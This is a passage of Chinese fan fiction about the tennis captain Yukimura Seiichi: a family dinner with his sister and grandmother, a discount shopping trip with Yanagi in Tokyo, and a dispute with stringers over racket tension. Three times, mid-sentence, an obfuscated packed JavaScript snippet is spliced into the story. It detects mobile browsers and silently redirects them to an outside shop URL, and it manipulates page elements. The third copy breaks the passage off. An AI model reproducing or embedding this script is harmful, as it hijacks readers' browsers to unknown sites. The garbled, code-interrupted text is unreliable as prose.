这种巨幅的画像太大了,太显眼了,每个客人都会驻足惊叹: “精市小时候和由香里夫人真像!” “雅彦先生画得真好!” “这笑容,太温柔了……” …… 这种巨幅的画作在幸村家不止一副,父母的卧房里也挂了一副母亲的肖像画……但不管怎么讲,把画像挂在大门口还是太羞耻了一点吧! 当时年仅九岁的少年觉得这份爱的展示实在让人羞耻。 但现在,三年过去,他已经习惯了。甚至偶尔,像此刻这样,月光从玄关的窗户斜斜照进来,给画布镀上一层银辉时,他会停下脚步,认真地看着画中母亲温柔的笑容,然后在心里轻轻感叹—— 爸爸真是情人眼里出西施。 诚然,幸村由香里女士本来就很漂亮,将近四十岁的女人保养得宜,看上去还像二十出头的少女。但她的漂亮惯常带着清冷和疏离。 可在幸村雅彦的笔下,她美的像是一副古典的圣母像,温柔和爱意几乎要溢出画框。 幸村自己站在画前,灯光同样照亮了他的侧脸。他继承了母亲清丽的眉眼——同样精致的轮廓,同样紫罗兰色的眼睛。只是少年的线条更加清俊,少了几分柔美,多了几分英气,平添了几分雌雄莫辨的美感。 “精市回来了?”祖母幸村和子的声音从厨房传来,伴随着令人安心的炖煮声和食物香气,“晚饭已经好了,今天炖了牛肉,保证没问题。” 幸村暗暗松了口气。祖母的炖牛肉是家传菜谱,几十年从没失败过。 “奶奶今天没有尝试新菜谱?”他放下诗织,笑着走向厨房。诗织跟在他身后,兔子拖鞋踩在地板上发出“啪嗒啪嗒”的轻响。 “尝试了。”祖母从厨房探出头,花白的头发整齐地梳在脑后,脸上带着点尴尬的笑,“但失败了,所以紧急改做炖牛肉。失败作在冰箱里,明天你爸爸回来处理。” 幸村忍俊不禁。父亲是家里唯一厨艺正常的人,经常要负责处理母亲和祖母的“实验成果”。 至于幸村自己……他想起国小时为诗织准备晚饭,把鸡蛋放进微波炉里。等由香里小姐回到家时,只看见满脸黑灰的儿子、炸开的鸡蛋和满地狼藉。她愣了足足十秒,然后叹了口气:“精市,看来你遗传了我。” 是的,遗传了。 幸村由香里女士,运动神经超群,年轻时是高中篮球社的王牌,现在将近四十岁还能轻松跑完十公里,敏捷度和体力让很多年轻人自愧不如。 但一进厨房,她就会发生各种匪夷所思的事故——把糖当盐,把醋当酱油,甚至有一次差点引发小型火灾。 而幸村完美继承了这份“天赋”,不论是运动神经还是厨房杀手的属性。 “哥哥,”诗织扯了扯他的衣角,兔子耳朵随着动作晃了晃,“诗织饿了。” “马上开饭。”幸村牵起她的小手。 晚餐很丰盛。祖母的炖牛肉软烂入味,搭配的土豆和胡萝卜吸饱了浓稠的汤汁,还有新鲜的蔬菜沙拉和热腾腾的白米饭。幸村给诗织盛了一小碗,吹凉了些才推过去。 诗织拿起儿童筷子,小心翼翼地夹起一块牛肉,吹了又吹,才放进嘴里。咀嚼时,腮帮子一鼓一鼓的,兔子耳朵随着动作轻轻抖动。 “奶奶,好吃。”她含糊地说,眼睛弯成月牙。 “那就好。”祖母笑眯眯地看着她,“多吃点才能长高。” “妈妈他们还没回来吗?” “好像是基金会哪个项目有点问题,雅彦和由香里都过去了,现在好像还没下飞机呢。” 基金会的全名叫做明实儿童与女性未来支援基金会 (AkeMi Children and Women''s Future Support Foundation),是一家以 “提供明晰可行的援助,结出切实改变的果实” 为核心理念的专业慈善组织。 其名称“明实”被广泛解读为 “照亮前路,务实助人” ,强调理性、高效和可持续的援助模式,而非单纯的物质给予。这种务实而富有远见的形象,使其在捐赠者、合作伙伴与受助群体中均建立了良好的信誉。 这家由幸村由香里小姐创办的基金会,在过去短短的十来年,发展迅猛,成为了关东地区有名的慈善团体。 “好辛苦啊。”幸村感叹。 “他们还那么年轻,做一点有意义的事情,挺好的。”和子露出温柔又怀念的神色,“如果你爷爷和外公还活着,也会支持你爸爸妈妈的。” “爷爷和外公……”幸村轻声重复,脑海中浮现出两位老人模糊却慈祥的面容。爷爷是传统的日本商人,严肃却不失温情;外公则是退休教师,总是戴着老花镜在庭院里修剪盆栽。他们都走得早,没能看到诗织出生。 和子奶奶舀了一勺炖牛肉放进幸村碗里,眼神温和:“你爷爷常说,有能力的人就该多帮帮别人。你外公更直接,当年在社区学校免费教孩子,一教就是十几年。”她顿了顿,声音更轻了些,“所以啊,看到由香里做这些事,我总觉得……他们还在以某种方式高兴着呢。” 诗织仰起小脸,兔子耳朵随着动作晃了晃。 和子奶奶摸摸诗织的头,“诗织长大之后,也要和你爸爸妈妈一样,去做心里装着别人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013157|194148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好人。” 诗织还听不太懂奶奶的话,事实上,对小小的她来讲这些都太遥远了。 她只是眨眨眼,“所以哥哥周末去东京,会给好人的诗织带礼物吧?” “诗织想要什么?”幸村谨慎地问,放下筷子,做出认真倾听的姿态。 小女孩盯着他看了好一会儿,月光在她眼睛里映出两个小小的、亮晶晶的光点。 她的小脑袋微微歪着,像是在认真思考,又像是在酝酿什么阴谋。然后她慢悠悠地说,语气天真却带着某种刻意: “送礼物的人,不是应该自己准备惊喜吗?” “电视剧看太多了。”幸村故意板起脸。 “才不是!”诗织鼓起脸颊,像只生气的小河豚,“这是基本礼仪!妈妈说的!送礼物要用心,要观察对方真正喜欢什么,而不是直接问!” 和子祖母在旁边忍俊不禁:“你妈妈说的是没错,但那是针对大人之间的礼仪。诗织还小,可以直接告诉哥哥想要什么呀。” 小女孩思考了片刻,认同了奶奶的提议。 “第一个,”诗织竖起一根手指,“我要吃那家最贵的可丽饼店,加所有配料!草莓、香蕉、巧克力、冰淇淋、坚果……全部都要!” “不可以。”幸村拒绝,“吃那么多甜品牙齿还要不要了。” “哥哥是坏蛋!” 幸村抱臂,“那你还要不要礼物了?” “哼,那第二个,”第二根手指竖起,“县大赛结束后,哥哥要陪我去水族馆!一整天!不能中途接电话说网球部有事!” 幸村犹豫了一下。县大赛后马上就是关东大赛的准备期,时间并不太宽裕。但看着妹妹期待的眼神,他点头:“如果那天没有紧急训练,可以。” “那要拉勾勾!”诗织嘟囔,“不可以骗人。” 月光透过餐厅的窗户,温柔地洒在兄妹俩钩在一起的手指上,也照亮了诗织因兴奋而微微发红的脸颊。 晚餐的后半程,在一种轻松而微妙的氛围中继续。诗织显然沉浸在去水族馆玩的期待里,吃饭都比平时快了些。 幸村则一如既往地照顾着她,偶尔和祖母聊几句最近网球部的事情。 饭后,幸村收拾碗筷,诗织则乖巧地帮忙把椅子推回原位。和子奶奶看着兄妹俩默契的互动,脸上的皱纹都舒展开来。 “哥哥,”当幸村在厨房水池边洗碗时,诗织又蹭了过来,靠在门框上,抱着她的兔子玩偶,“你明天……很早就要走吗?” “嗯,要和柳哥哥坐早班电车去。”幸村回头看了她一眼,“怎么了?诗织不是说要定闹钟送我吗?” “要送的!”诗织立刻说,但声音小了一点,“可是……如果诗织睡过头了,哥哥要叫醒我哦。” 原来是在担心这个。幸村关上水龙头,擦干手,转身蹲在诗织面前:“好,如果诗织的闹钟没响,哥哥会来叫你的。不过,如果诗织实在太困起不来,继续睡觉也没关系,哥哥不会生气,好吗?” 这种全然包容的温柔,反而让诗织更加坚定了要早起的决心。她再次用力点头:“诗织一定会醒的!” 洗漱,读绘本,关灯。当幸村为诗织掖好被角,准备离开时,诗织又从被子里伸出小手,拉住了他的衣角。 “哥哥。” “嗯?” “晚安。”诗织的声音带着浓浓的睡意,却又很认真。 那一瞬间,幸村觉得心里最柔软的地方被轻轻撞了一下。他俯身,在妹妹光洁的额头上印下一个轻柔的吻。 “晚安,诗织。做个好梦。” 12. 采购 翌日清晨,幸村轻轻推开诗织的房门。淡薄的晨光从窗帘缝隙溜进来,在地板上投下一道朦胧的光带。房间里静悄悄的,只有床上那一小团隆起,随着均匀细小的呼吸声微微起伏。 他走到床边。诗织睡得正熟,半边脸颊埋在印着小草莓的枕头里,嘴唇微微嘟着,几缕柔软的额发贴在光洁的皮肤上。昨晚信誓旦旦说要早起送哥哥的小兔子,此刻睡得毫无防备,连帽子上那只总是精神抖擞的耳朵,也软软地耷拉在枕边,蹭着她的脸蛋。 幸村忍不住弯起嘴角。他极轻地蹲下身,凝视着妹妹的睡颜。那长长的睫毛像两把小扇子,在眼底投下淡淡的阴影。睡梦中的诗织不知梦到了什么,咂吧了一下嘴,含糊地嘟囔了一句听不清的梦话,然后无意识地伸出小手,抓住了被角。 昨晚睡前,她还特意把那个兔子造型的闹钟摆在床头最显眼的位置,信誓旦旦地说:“诗织的耳朵可灵了!” 看来,小兔子的耳朵今天失灵了。 幸村没有叫醒她。他伸出手,指尖悬在诗织额前几厘米处,最终只是隔着空气,极其轻柔地虚抚了一下,仿佛怕惊扰了一个易碎的梦。然后,他悄无声息地站起身,最后看了一眼睡得香甜的妹妹,轻轻带上了房门。 “诗织果然还是没起来?”厨房里,祖母和子正在准备简单的早餐,听到动静,了然地问。 “嗯,睡得很沉。”幸村接过祖母递来的温牛奶,“就让她睡吧,小孩子需要睡眠。” “也是。”和子奶奶笑了,“东西都带好了?” “嗯,都好了。” 早餐后,幸村背起那个显得有些鼓鼓囊囊的网球包,踏上依然被淡蓝色晨霭笼罩的街道。空气微凉而清新,带着神奈川海滨城市特有的、淡淡的水汽味道。偶尔有晨跑的人擦肩而过,脚步声在宁静的早晨格外清晰。 他的网球包确实比平时大了不少。平时训练,幸村只带一个极致精简的三支装球包,里面永远只有两把参数完全相同的球拍,这是他长久以来的习惯——专注,且追求绝对的掌控感。即使是去年全国大赛的决赛,他也未曾多带一支。而今天这个六支装的大包,鼓起的轮廓确实引人注目。 里面除了他惯用的两把球拍,还多了几支需要重新穿线的旧拍。 在约定的街角,柳莲二已经等在那里。周末的他褪去了立海大土黄色运动服,穿着一身浅灰色的舒适休闲装,整个人显得更加温柔沉静。 柳手里拿着一个轻便的文件夹,正垂眸确认清单,晨光给他专注的侧脸镀上一层柔和的边缘。 “久等了,莲二。”幸村走近。 “早上好,精市。”柳抬起头,目光习惯性地扫过幸村,随即落在那格外醒目的网球包上,“今天带的装备似乎格外多?” “有几支旧拍需要重新穿线,主拍的磅数也想趁着机会微调一下,”幸村语气如常,轻轻拍了拍包身,“顺便也补充点用品。去东京一趟,机会难得。” 柳的视线在包上停留了一瞬,随即了然,没有多问,只是很自然地伸手:“包看起来很重,需要我帮忙拿一段吗?去车站还有一段距离。” “不用,还好。这点重量不算什么。”幸村婉拒,将包带调整到一个更舒适的位置。他并非客套,而是真的不觉得沉重——比起网球部日常训练的负荷,这确实不算什么。 柳微微颔首,不再坚持,两人并肩走向车站。他切入正题,语气切换回数据模式:“根据最新收集的数据,东京新开业的Racquet Palace,基础耗材报价比我们通常采购的渠道平均低8.5%,且新店促销期内,部分护具、穿线服务有额外折扣。” “那就太好了。” 网球部的财政,确实不容乐观。 周末早晨的车厢不算拥挤,但幸村那个显眼的鼓胀球包还是引来了一些目光。他小心地将包放在身前的空地上,避免妨碍到其他乘客。车厢平稳地飞驰,窗外的城市风景逐渐从静谧的住宅区过渡到繁华的街景。 柳在轻微的晃动中,依然能平稳地翻开文件夹,进一步细化采购清单,低声与幸村确认一些细节,重点仍是大量消耗品与小件装备——网球、手胶、减震器、拍线…… 幸村则望着窗外,手指无意识地轻抚着身旁拍袋光滑的表面,思绪似乎飘远了些。 …… Racquet Palace 坐落于东京繁华的核心商圈,玻璃幕墙大厦的一至三层都被其占据,巨大的霓虹招牌即便在白天也颇为醒目。外墙贴满了各种当红明星代言的巨幅广告,有几位熟悉的世界级网球明星,但更多的还是是当红的演艺界面孔。 幸村不由得多看了几眼。 柳顺着幸村的视线望去,玲琅满目的广告中,最显眼的是一张冲野洋子的巨幅海报,她穿着充满活力的运动系服装,手持一款粉色镶钻的球拍,笑容灿烂,旁边写着广告语:“‘Racquet Palace’——与洋子一起,挥洒闪亮青春!” “那位是冲野洋子,很知名的女明星,”柳开始介绍,“如果你想了解,可能要问一下胡狼,他好像是冲野洋子小姐的粉丝”。 意外得知部员们小爱好的幸村惊讶,旋即哑然,“我是觉得那个刚刚轮播的珠宝广告拍的很漂亮。” 柳也不意外。据他了解,幸村的父亲幸村雅彦从事广告业,幸村从小耳濡目染,对视觉呈现敏感是情理之中。他点点头,并未深究,注意力已回到采购任务本身:“我们进去吧。” 两人一前一后走进店铺。店内装潢现代明亮,挑高的大厅分区清晰,人流如织。空气里混合着新橡胶地垫、网球绒毛和淡淡皮革的味道,背景音乐是轻快的流行乐。柳一进门,目光就如精密雷达般快速扫过货架布局、价签与促销海报,同时与脑内数据库进行实时比对,确认数据准确性。 “那么,开始吧。”柳的语气平静,却带着一种进入工作状态的不容置疑。他从文件袋里抽出一张打印得密密麻麻的清单。 幸村刚想帮忙分担一部分,柳已经利落地从入口处推来一辆大型购物车,目标明确地向着一个方向走去:“先从消耗量最大、也最占体积的训练用球开始,可以避免后续负重折返,提高采购效率。” 幸村从善如流地跟上。 柳作为立海的军师,掌管网球部财政大权的男人,在采购上就是这么有主意。 柳熟门熟路地穿过促销花车和展示区,直奔存放标准箱装训练球的货架,就好像他已经来这里实地勘察过无数次了一样。 “之前来过?” “只是提前做了一点数据分析和店面布局图研究而已。” 他无视了堆成塔状、贴着“热销”、“限定”等花哨标签的促销堆头,直接走到标准货架前,仔细查看箱子侧面的批次号,并与手机里记录的某份详细品控数据比对。 “这个批次的球,重量和弹跳高度标准差最小,虽然不打折,但长期训练的一致性和球员手感培养成本反而更低。”他一边解释,一边利落地开始把球搬到购物车上。 幸村想帮忙,柳已经先一步将两箱稳稳叠放在购物车底层。 “精市,你的包不轻,我来处理这些就好。”柳推着车,转向下一个区域。 “哪有这么夸张,”幸村无奈,不管是柳还是真田,总在某些时刻自动把他划入需要特别关照的范畴,但他在球场上可是能把他们所有人“照顾”得很好的,“我体力还没差到那种地步哦,莲二。” “只是没有必要增加无谓的负荷而已。”柳的语气依旧平淡,“训练球补充这些应该能支撑到县大赛结束了。比赛用球还是沿用我们指定的品牌?该品牌目前有促销套餐,单价降低5%,但需搭配购买指定款护腕。经过计算,即使护腕为冗余采购,总成本仍降低2.1%,且该护腕材质吸汗性尚可,可作为低强度训练备用。” “嗯,就按你说的。”幸村点头,对军师的精打细算表示完全信任。 柳拿出笔,在清单上打了个勾,笔尖没有丝毫犹豫。“接下来是手胶。根据往期数据建模,气温每升高五度,手胶的平均更换频率提升约30%。考虑到关东地区即将进入梅雨及盛夏,以及我们既定的夏季强化训练计划,需提前储备比往常多40%的库存。” 他的手指快速掠过货架上不同品牌和型号:“之前批量采购的那款,入夏后部员反馈更换频率过高,性价比下降。综合吸汗性、耐磨度和手感保持数据,推荐这个系列。”他拿起一包白色手胶示意。 幸村点头认可。 柳的目光继续在货架上搜寻,忽然在一处停下,常年微阖的眼睛似乎睁开了一线。 “精市,”柳的语气里带上了一丝罕见的惊喜,“这个颜色的手胶正在清仓特价,叠加店铺新会员折扣,综合单价可比常规采购价格低18.5%。” 幸村顺着他指的方向看去,只见货架底层堆着一批包装略显陈旧的手胶,颜色是一种难以准确描述的、介于土黄与橄榄绿之间的色调,上面贴着醒目的【SALE】黄标。 “……等等,莲二。”幸村这次及时开口,语气温和但带着明显的制止意味,甚至下意识地向前半步,“我完全信任你的数据分析,但颜色方面……我想部员们可能更希望有一些符合审美的选择。比如白色就很不错,清爽又百搭,不一定非要这种……特别的颜色。” “但是便宜18.5%。”柳的手指坚定地指向那个特价标志,“且性能参数符合要求。颜色不影响使用效果。” 幸村想象了一下自己精心保养的球拍拍柄被缠上这种颜色的手胶,内心挣扎。 “近似于立海大队服的颜色,”柳试图从另一个角度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013158|194148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说服,“带着沉稳的王者之气。” “一点也不像,”幸村觉得自己要捍卫一下自己的色感,“况且,手胶而已,倒不必刻意追求这种气概。” 柳沉默了两秒,然后语气平稳地抛出一个事实:“根据今年春季训练数据,部分部员的力量进步显著,但也因此,预估网球场地修缮费用同比可能还会上升15%到20%。” 幸村可耻地动摇了。 眼前瞬间闪过真田黑着脸、背后几乎具现化出怒涛训斥破坏场地部员的画面,以及随后递上来的、金额令人眉心跳动的维修账单。虽然……训斥别人的真田本人,在破坏力排行榜上也绝对是名列前茅的。 幸村几乎能听到社团经费在哀鸣。他又想起去年一度因为连续修缮网球场而一度捉襟见肘、不得不精打细算到连训练用球的补充都要分批进行的日子。 柳莲二忽然睁开了眼睛,“某些家伙,或许很适合这种独特的贪色。” 幸村·几乎不破坏场地·精市,在理智(经费)与审美(眼睛)之间,最终艰难地做出了抉择。他轻轻叹了口气,带着一种放弃抵抗的妥协:“……你说得对,莲二。拿一些吧,但……不要全部。” 柳莲二满意地将那批特价手胶搬了相当一部分进购物车,然后精准地在清单上做了标记。 接下来的采购,幸村彻底沦为吉祥物。 柳按照清单,高效地选取训练用品,并向幸村说明性能数据对比、长期损耗率、当前折扣力度。 而幸村的唯一工作,就是推着购物车,然后像个招财猫似的点头。 阿对对对对,莲二说的都对。 幸村甚至微妙地体会到了一丝传说中“陪女朋友逛街”时,只需要负责点头、拎包和付账的复杂心情。 ——虽然他现在连拎包和付账的环节都快被柳包办了。 当柳莲二在采购单的某一项后打上最后一个勾时,幸村心里终于能小小地松一口气。 采购,也是个体力活啊。 柳没有立刻走向收银台。他再次快速浏览了一遍清单,心算了一遍价格,发现和满减金额还差了一点,于是拿了两本特价拍纸簿和一套彩色索引贴。 满意地计算出金额刚刚好达到满减金额,柳莲二露出一个满意的笑容。 “差不多了。” 柳终于合上了他那本记得密密麻麻的文件夹,目光扫过塞得满满当当、但物品分类摆放、重心稳定的购物车,如同将军检阅列队整齐的士兵,“所有常规消耗品和计划内补充装备已采购完毕。初步结算,总计支出比本学期该项预算预留金额节省了11.3%,且采购量预计能满足全国大赛前的正常训练消耗,并预留了15%的应急余量。” 柳的语调平静中带着得意。这种在规则框架内将效率与节省发挥到极致的行为,本身就是他的乐趣所在。 “不愧是你,莲二。”幸村由衷地赞叹。 结账时,收银员看着推车里堆积如山的商品,又看向柳莲二手中那叠分明分类整理过的折扣券、会员卡,以及他提前备好的、金额分毫不差的现金与电子支付组合,眼神里写满了震惊。 柳的目光全程追随着扫描枪的移动,在拿到那张长得惊人的小票后,他迅速完成心算核对。确认无误后,又利落地调出会员权益,利用免费配送服务,直接将东西寄回网球部。 “辛苦你了,精市,”柳将小票仔细对折收好,放入文件夹的特定夹层,然后看向幸村,“今天帮大忙了。” 幸村闻言,微微偏头,紫罗兰色的眼睛写满了茫然:“莲二,我其实有点好奇……我今天还帮了什么忙?” 柳莲二佯装认真地思考了一秒钟,然后给出了一个无比严谨的答案:“你的在场就是帮大忙了,精市。” 幸村:“……” 柳莲二拿出手机看了眼时间,“和预计的差不多,你打算先去穿线还是先找个地方吃饭?” “先去穿线吧”,幸村微笑,“午餐我请客。今天辛苦你了,让我这个部长几乎全程旁观。说起来,附近有一家评价很好的咖啡厅。” 柳略感意外。 幸村向来对饮食缺乏执念,单看他平时吃水煮万物套餐都能自得其乐就能看出来。 因此平时几人外出时选择餐厅多是交由柳莲二负责。 柳还一度怀疑过幸村的味觉异于常人,吃不出美食的味道。 “唔只是偶然某个大侦探提起,说那家的主厨手艺出众。既然难得来东京,不如去试试看?”他话尾稍顿,像在自言自语:“……不过,万一遇上那位推荐人,就不知道算是幸运还是麻烦了。” 不过应该不会吧?毕竟东京这么大呢。 感受到幸村情绪里的微妙,柳莲二在心里有了计较。 柳莲二将手机熄屏:“那就恭敬不如从命了,精市。” 13. 穿线 穿线区位于店铺三楼相对安静的角落,恒温恒湿系统营造出一个与外面卖场截然不同的静谧空间。两座高端电脑穿线机低鸣着,各自镇守一方,空气中弥漫着羊肠线与特殊清洁剂的淡淡气味。 幸村精市和柳莲二刚刚看过这两位穿线师墙上的简介,这两位年纪相差不小,但都是拥有国际认证、服务过职业选手的大师。 “小朋友,是来穿线的吗?”年纪颇大的穿线师佐藤停下手中的活,抬起头,露出一个对待年轻顾客的友好笑容。 小朋友? 幸村和柳对视一眼。 国中二年级的立海大部长微微抿嘴,事实上他觉得自己离小朋友这个词已经非常遥远了。 但反驳这种东西实在太幼稚了,幸村悄悄皱皱鼻子,将网球包放在空闲的工作台上,拉开了拉链。 他拿出了四把球拍,都是WINGHEART (FORJEZ115),不过配色略有不同。 其中两把的拍框漆面已有磨损,显然是经年累月陪伴的旧友,另外两把则相对较新。 “麻烦您,这四把都需要重新穿线。”幸村将球拍递了过去。 佐藤接过最旧的那把,扫了眼已经磨损相当严重的漆面,掂了掂,手指抚过拍喉处的型号标识,感叹一句:“320克,95平方英寸的拍面……现在很少人用了啊,” 他抬起头,看着幸村,“现代网球,职业趋势都偏向力量、强上旋,需要更大的拍面来增加甜区和容错空间。” 他比划了一下,“像你这样的青少年,试一下100甚至更大的拍面,发力会更轻松,打出的球质,也就是球的力量和速度可能会更高哦。” 幸村矜持地点了点了点头,声音平稳:“谢谢建议。不过,我更喜欢小拍面带来的控制感和清晰反馈。” “控制感啊……”佐藤不置可否,国内的青少年大多都喜欢这样,不如说他们从小接受的网球教育就是如此的。 佐藤开始仔细检查旧拍子的拍框状况,确认没有裂痕或不可修复的损伤。 “现在的主拍是哪一把?” 幸村指了指其中较新的一把。 佐藤将它举向光源,目光扫过线床。随即,他轻微地“咦”了一声。 95拍面的甜区本就小,但这面线床上,磨损痕迹却异常集中,几乎就浓缩在那个小小的椭圆形区域内,边缘清晰得惊人。其他区域的线则相对平整,只有极细微的使用痕迹。 “磨损这么集中……小朋友,你技术相当不错啊。”佐藤的语气多了几分认真,抬眼打量幸村,“是在网球学校训练的?” 一旁的柳莲二适时开口:“我们是立海大附属中学网球部的成员。” “立海大?哦,那个网球名校。”佐藤恍然,又仔细看了看幸村和柳的脸,“中学生啊……还真看不太出来。行吧,这次打算穿多少磅?” “在原有磅数的基础上,增加1到2磅应该就差不多了。”幸村回答。 佐藤拿起一个手持测磅器,夹住拍线中央测了一下数值。 读数让他眉头立刻皱了起来。“你现在这个磅数已经很高了!对于青少年选手来说,这已经是上限了!” 他的语气变得严肃又带着长辈式的关切,“绝对不行。高磅数对关节,尤其是手腕、手肘和肩膀的压力非常大,你年纪这么小,用这个磅数很容易受伤,还可能影响长远的发展。我建议你降低两磅,不能只图一时的手感痛快,明白吗?” “我明白您的担心。”幸村的目光依旧平静,却带着不容动摇的坚持,“但我确实感觉到,现有的磅数太软了。” 这个磅数,软吗? 佐藤怀疑的看看手里的球拍。 磅数虽然不算太高,但离“软”还是差很多的吧。 “那说不定是你的技术环节还需要打磨。”佐藤耐心解释,甚至带上了点说教的意味,“是不是觉得平击发力容易出界?那说明你包裹球、刷上旋不够充分。哪怕是用职业选手的磅数,只打平击也照样出界。这不是磅数能完全解决的。平时训练完,会不会觉得手腕酸疼?很多青少年选手都这样,误以为是训练量问题,其实可能就是磅数不适合……” 他们的对话声引来了另一位穿线师中村。这位相对年轻的骨干放下手中的线轴,好奇地走了过来。“佐藤前辈,怎么了?” 佐藤简略说了情况,把球拍递过去,重点指了指那片磨损区。 中村接过,只看了一眼磨损的形态,眼神就变了。他没有立刻说话,而是更仔细地观察,甚至用手指指腹轻轻拂过甜区线床的表面。 中村曾经服务于大满贯系列的赛事,最近才因为家庭原因回国,眼力惊人,观察片刻后,肯定了佐藤的说法。 “前辈,你说的对,这位小选手的水平是很高的。这个甜区的磨损,基本上都是旋转造成的切痕。说明他对旋转的理解非常好,并且……”他语气慎重,他顿了顿,看向幸村纤细却线条流畅的小臂,“拥有相当出色的瞬时爆发力。这不是单靠技术好就能解释的。” 佐藤调整了下老花镜,看向中村指着的地方,对中村的眼力表示赞同。 中村又拿起工具,小心地剪断了拍面上几根旧线,检查拍框孔内的护线管。他和佐藤凑在一起看了半天,低声交流。 “护线管的磨损也很说明问题,”中村指着甜区对应的几个孔,“受力集中,但磨损均匀,没有异常的挤压或变形。力量传导非常干净、直接,几乎没有多余的拍框形变来分散冲击。” 他再次看向幸村,目光已完全不同,“你在国外网球学校训练过吗?或者有计划出去学习吗?以你的水平,早点出国是好事。” 幸村摇了摇头,语气淡然却坚定:“我认为立海大附中很适合我目前的发展。” “立海大附中?”刚回国的中村有点迷茫。 “国内的网球强校。”佐藤解释。 中村好像还想说些什么,但张了张嘴,到底没再开口。 “你是想怎么穿线?”中村研究了会,看向幸村。 “在原有的基础上再加上一到两磅就好了。” “这不成,现在的磅数已经很高了。”佐藤头疼,“你们这些青少年选手要学会的第一件事情就是爱护自己的身体。” “我觉得可以吧,”中村思忖,“我在国外看到的很多j30、j50的选手都是这个磅数,更高的也不是没有。” “欧洲人什么体格,亚洲人什么体格?”佐藤吹胡子瞪眼,指向幸村纤细的手肘:“他要有U17那群长得着急的中学生一样的体格我也不反对,但他是吗?网球选手的手肘多宝贵,怎么能为了追求手感而把那么小的选手置于风险中呢?” “但从球拍反馈的迹象看,他的击球质量和身体控制力,比很多j30的选手都好,确实能驾驭更高的磅数。” 佐藤反驳:“j30的最低要求都要十三岁呢,你看他有十三岁吗?刚上国中,身体都还没长成。你看这体格,显然是技术流、控制流的选手,这类选手更依赖手臂的精细操控,才更需要保护!万一因为磅数太高受伤,穿线师也有责任。” “我不是纯粹的技术型选手。”幸村反驳 但幸村的话完全被被沉浸在专业争论中的两位成年人忽略了。 柳莲二默默地站在稍远处,仔细观察着两位穿线师检查球拍的每一个步骤、他们讨论时指向的细节、乃至他们表情的细微变化。他的大脑飞速运转,将这些全新的、基于球拍本身反馈的知识记录下来。 两人争论了好一会儿,互有让步,最终趋向于一个保守方案:维持原有的高磅数可以,但绝对不能再增加了。毕竟,安全永远是第一位的。 幸村心里微微叹了口气。 早知道两位师傅如此严谨负责,或许就不该图省事把四把拍子一起拿来……在神奈川常去的那家店,老师傅早就对他的要求习以为常了。 眼看讨论陷入僵局,幸村开口,声音提高,清晰地将所有杂音切断:“请问,这里有可以试球的地方吗?” 佐藤和中村一愣。 “后面……有一个给顾客测试球拍用的室内球场。”中村指了指出口旁的一扇小门。 “我想,或许让你们亲眼看一下,会比我解释更有说服力。” …… 门后是一个狭长但层高足够的室内空间,地面铺着专业的硬地丙烯酸涂料,尽头是一面厚重的背板。 灯光亮起,将球场照得明晰。 幸村今天穿的就是白鞋子,也就没换鞋,只是拿着那把主拍,走到了底线附近。 他没有做任何热身动作,只是平静地看了眼中村随手放在场边的一筐练习球。 佐藤、中村、柳莲二站在场边。 只见幸村用拍面轻轻一勾,一颗网球便听话地弹起,落入他左手掌心。他几乎没有停顿,左手将球向上一抛,动作简洁,没有任何冗余。 右手挥拍。 那不是一个夸张的暴力动作,甚至可以说幅度颇为优雅克制。 但挥拍加速的瞬间,空气被撕裂的短促尖啸在场馆内格外清晰。 一道黄绿色的幻影,以肉眼几乎难以捕捉轨迹的笔直路径,轰向对面半场。 不是冲着背板,而是稳稳落在底线上。 “砰!!!” 一声沉闷到令人心悸的巨响。不是球弹起的声音,而是球体以恐怖速度与旋转砸穿地面涂层、撞击下方硬质基底的声响。 网球没有高高弹起,而是在落地后,依靠自身疯狂的旋转,像钻头一样在原地短暂啃噬了一下,然后才无力地滚向一边。 地面上,一个清晰的、边缘略有龟裂的凹陷坑洞,赫然在目。 力量、速度、旋转、落点控制……在这一球里,展现得残酷而完美。 场边一片死寂。 佐藤和中村张着嘴,目光在地面上的坑和幸村平静的脸上来回移动,仿佛无法将这两者联系到同一次元。现在的国中生……已经拥有这种级别的力量了吗?很多成年的爱好者,恐怕拼尽全力也打不出这种兼具穿透性与破坏力的一击。 幸村周身的气场悄然改变了。站在球场上的他,哪怕只是这样随意地握着球拍,那份平静中也透出了绝对的睥睨与威严。他看向两位穿线师,声音不大,却带着不容置疑的力量:“现在,可以讨论磅数了吗?” 佐藤和中村从震惊中回过神,互望一眼,都看到了对方眼中的骇然和动摇。但是,长期的专业素养和对青少年健康的责任感,依然让他们无法立刻点头。 “我们……我们看到了你的力量,非常惊人。”佐藤斟酌着词句,但担忧也更甚,“但正因为力量这么大,长期用过高磅数训练和比赛,对你的手臂负荷是超乎想象的。我们和以前给你穿线的师傅可能不同,我们必须考虑得更全面。这不是质疑你的能力,而是担心你的职业生涯。” 中村也点头:“是的,我们并不怀疑你能驾驭这个磅数,但你毕竟是一个青少年选手,如果你要长期使用更高的磅数,我想你或许需要和教练进一步的沟通。” 就在此时,穿线区连通内部办公室的门开了。穿着 Polo衫和休闲裤的英俊男人走了出来,他身边还跟着一脸赔笑的店铺经理。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 